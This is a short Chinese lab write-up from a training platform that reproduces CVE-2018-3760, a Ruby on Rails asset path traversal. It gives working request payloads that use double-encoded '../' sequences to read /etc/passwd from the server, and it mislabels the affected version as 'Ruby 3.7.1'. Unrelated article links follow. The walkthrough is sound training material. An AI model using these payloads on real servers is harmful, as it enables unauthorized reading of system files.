墨者学院 Ruby On Rails漏洞复现第一题(CVE-2018-3760)

打开 web 页面:

发现是Ruby,在Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。可以先检测一下是否有此漏洞:

cs 复制代码
/assets/file:%2f%2f/etc/passwd

根据报错路劲构造 payload:

/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

cs 复制代码
/assets/file:///usr/src/blog/app/assets/images/../../../../../../etc/passwd
相关推荐
始终奔跑在路上1 小时前
全栈网络安全|渗透测试-1
网络·安全·web安全·网络安全
╰つ゛木槿1 小时前
Spring Boot 调用DeepSeek API的详细教程
java·spring boot·后端·deepseek
SRC_BLUE_172 小时前
[网络爬虫] 动态网页抓取 — Selenium 入门操作
网络·爬虫·selenium·测试工具
movee2 小时前
一台低配云主机也能轻松愉快地玩RDMA
linux·人工智能·后端
SuperW3 小时前
EPS8266远端固定UDP传输
网络·网络协议·udp
亚信安全官方账号3 小时前
亚信安全发布2024威胁年报和2025威胁预测
网络安全
Hacker_xingchen3 小时前
网络安全高级软件编程技术 网络安全 软件开发
安全·web安全
nihuhui6664 小时前
关于静态IP的总结
网络·tcp/ip
程序员清风4 小时前
什么时候会考虑用联合索引?如果只有一个条件查就没有建联合索引的必要了么?
java·后端·面试
Seven974 小时前
【设计模式】掌握建造者模式:如何优雅地解决复杂对象创建难题?
java·后端·设计模式